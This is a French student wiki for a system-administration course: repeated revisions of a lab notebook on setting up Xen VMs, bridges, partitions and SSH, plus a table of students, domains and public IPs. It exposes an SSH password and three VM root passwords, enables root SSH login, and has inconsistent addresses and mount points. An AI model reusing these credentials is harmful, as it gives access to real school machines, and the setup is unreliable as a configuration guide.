On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 192.168.10.3/24
gateway 192.168.10.1
</syntaxhighlight>

* 172.60.0.3 est l'adresse IP de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 192.168.10.1/24

auto eth1
iface eth1 inet static
address 193.48.57.166/24
gateway 193.48.57.162
iface eth1 inet6 auto
</syntaxhighlight>

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Sur capbreton, depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED']
</syntaxhighlight>Pour l'adresse mac on prend celui existant et on fait +1.

Depuis <code>/etc/resolv.conf </code>:<syntaxhighlight lang="shell">
nameserver 8.8.8.8

</syntaxhighlight>

==== SSH ====
(Dans TOUTES les VMs)

On active le SSH en ajoutant dans <code>/etc/ssh/config</code> :<syntaxhighlight lang="shell">
PermitRootLogin yes
</syntaxhighlight>Pour redemarrer le service ssh :<syntaxhighlight lang="shell">
/etc/init.d/ssh restart
</syntaxhighlight>Ensuite après avoir reboot on peut faire :

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

Atelier SysRes SE4 2025/2026 E5

2026-01-26T11:10:21Z

Cpayet : /* Machine Mandataire - LinusTorvalds */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe : g0llum_fr0d0

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)
SSH Fingerprint : SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)
SSH Fingerprint : SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)
SSH Fingerprint : SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)
Root Password : FDigbGcTyh86QnvLWyT8wh3
</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 192.168.10.3/24
gateway 192.168.10.1
</syntaxhighlight>

* 172.60.0.3 est l'adresse IP de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 192.168.10.1/24

auto eth1
iface eth1 inet static
address 193.48.57.166/24
gateway 193.48.57.162
iface eth1 inet6 auto
</syntaxhighlight>

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Sur capbreton, depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED']
</syntaxhighlight>Pour l'adresse mac on prend celui existant et on fait +1.

Depuis <code>/etc/resolv.conf </code>:<syntaxhighlight lang="shell">
nameserver 8.8.8.8

</syntaxhighlight>

==== SSH ====
(Dans TOUTES les VM)

On active le SSH en ajoutant dans <code>/etc/ssh/config</code> :<syntaxhighlight lang="shell">
PermitRootLogin yes
</syntaxhighlight>Ensuite après avoir reboot on peut faire :

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

Atelier SysRes SE4 2025/2026 E5

2026-01-26T10:55:01Z

Cpayet : /* Machines de Service - CachyOS & Manjaro */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe : g0llum_fr0d0

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)
SSH Fingerprint : SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)
SSH Fingerprint : SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)
SSH Fingerprint : SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)
Root Password : FDigbGcTyh86QnvLWyT8wh3
</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 192.168.10.3/24
gateway 192.168.10.1
</syntaxhighlight>

* 172.60.0.3 est l'adresse IP de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 172.60.0.1/24

auto eth1
iface eth1 inet static
address 193.48.57.166/24
gateway 193.48.57.162
iface eth1 inet6 auto
</syntaxhighlight>

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Sur capbreton, depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED']
</syntaxhighlight>Pour l'adresse mac on prend celui existant et on fait +1.

Depuis <code>/etc/resolv.conf :</code><syntaxhighlight lang="shell">
nameserver 8.8.8.8

</syntaxhighlight>

==== SSH ====

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

SE4 IdO sécurité système/réseau 2025/2026

2026-01-26T10:33:13Z

Cpayet : /* Tableau des commutateurs virtuels */

= Répartition des binômes pour les travaux pratiques "administration système et réseau" =

Préfixe des noms de machine : <code>SE4</code>.

Domaines Internet à louer sur [[gandi.net]]. Identifiant <code>pifou</code>. Regardez le montant prévu sur le compte avant de louer un domaine.

{| class="wikitable"
! Cahier !! Elève !! Nom de domaine
! Nom de machine de services !! Nom de machine mandataire
|-
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinux.lol|| SE4.CachyOS||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || || SE4.C2||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || || SE4.RS7||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.shop|| SE4.Elf||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || deadpool.tech|| SE4.catwoman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice
|-
|}

{| class="wikitable"
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves
|-
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI & Agathe HOUDUSSE
|-
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI & Marin GOURVEST
|-
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET & Thomas DELOBELLE
|-
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI & Yassine YAHIANI
|-
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE & Tom MERIEN
|-
| SE4.superman|| 193.48.57.169|| Billel Cheklat & Antonin Biernacki
|-
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse & GAUTHIER Mario Sylainx S.
|-
| SE4.Solstice|| <code>193.48.57.167</code>|| Mohamed Salhi
|-
|}

= Tableau des commutateurs virtuels =

{| class="wikitable"
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé
|-
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24
|-
|PAYET / DELOBELLE
|pont_pacman
|192.168.10.0/24
|-
|MERIEN / VANGHELUWE
|pont_pere
|192.168.0.0/24
|-
|CHEKLAT / BIERNACKI
|pont_ironman
|192.168.69.0/24
|}

= Tableau des réseaux virtuels =

VLAN privés :

{| class="wikitable"
! Nom !! Numéro
|-
| VLAN1 || 1
|-
| MV-PROMO || 2
|-
|}

VLAN communs avec l'école :

{| class="wikitable"
! Nom !! Numéro
|-
| INTERCO1 || 530
|-
|}

= Schéma de câblage =

Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.

Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.

= Plan d'adressage =

{| class="wikitable"
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6
|-
| MV-PROMO || <code>193.48.57.160/27</code> || </code>2001:660:4401:60a0::/64</code>
|-
|}

Adresses IPv4 des éléments réseau dans VLAN1

{| class="wikitable"
! Elément !! Adresse
|-
| Routeur C9200-E304 ||
|-
| Routeur C9200-E306 ||
|-
| Borne Wi-Fi E304 ||
|-
| Borne Wi-Fi E306 ||
|-
|}

= Informations VRRP =

Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.

== VLAN des machines virtuelles ==

Une seule instance VRRP dans le VLAN des machines virtuelles.

Adresse IPv4 virtuelle : <code>193.48.57.162</code>

{| class="wikitable"
! Routeur !! IPv4 propre
|-
| C9200 E304 || <code>193.48.57.163</code>
|-
| C9200 E306 || <code>193.48.57.164</code>
|-
|}

== VLAN ... ==

SE4 IdO sécurité système/réseau 2025/2026

2026-01-26T10:25:14Z

Cpayet : /* Tableau des commutateurs virtuels */

= Répartition des binômes pour les travaux pratiques "administration système et réseau" =

Préfixe des noms de machine : <code>SE4</code>.

Domaines Internet à louer sur [[gandi.net]]. Identifiant <code>pifou</code>. Regardez le montant prévu sur le compte avant de louer un domaine.

{| class="wikitable"
! Cahier !! Elève !! Nom de domaine
! Nom de machine de services !! Nom de machine mandataire
|-
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinux.lol|| SE4.CachyOS||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || || SE4.C2||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || || SE4.RS7||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.shop|| SE4.Elf||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || deadpool.tech|| SE4.catwoman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice
|-
|}

{| class="wikitable"
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves
|-
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI & Agathe HOUDUSSE
|-
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI & Marin GOURVEST
|-
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET & Thomas DELOBELLE
|-
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI & Yassine YAHIANI
|-
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE & Tom MERIEN
|-
| SE4.superman|| 193.48.57.169|| Billel Cheklat & Antonin Biernacki
|-
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse & GAUTHIER Mario Sylainx S.
|-
| SE4.Solstice|| <code>193.48.57.167</code>|| Mohamed Salhi
|-
|}

= Tableau des commutateurs virtuels =

{| class="wikitable"
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé
|-
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24
|-
|PAYET / DELOBELLE
|pont_pacman
|192.168.4.0/24
|}

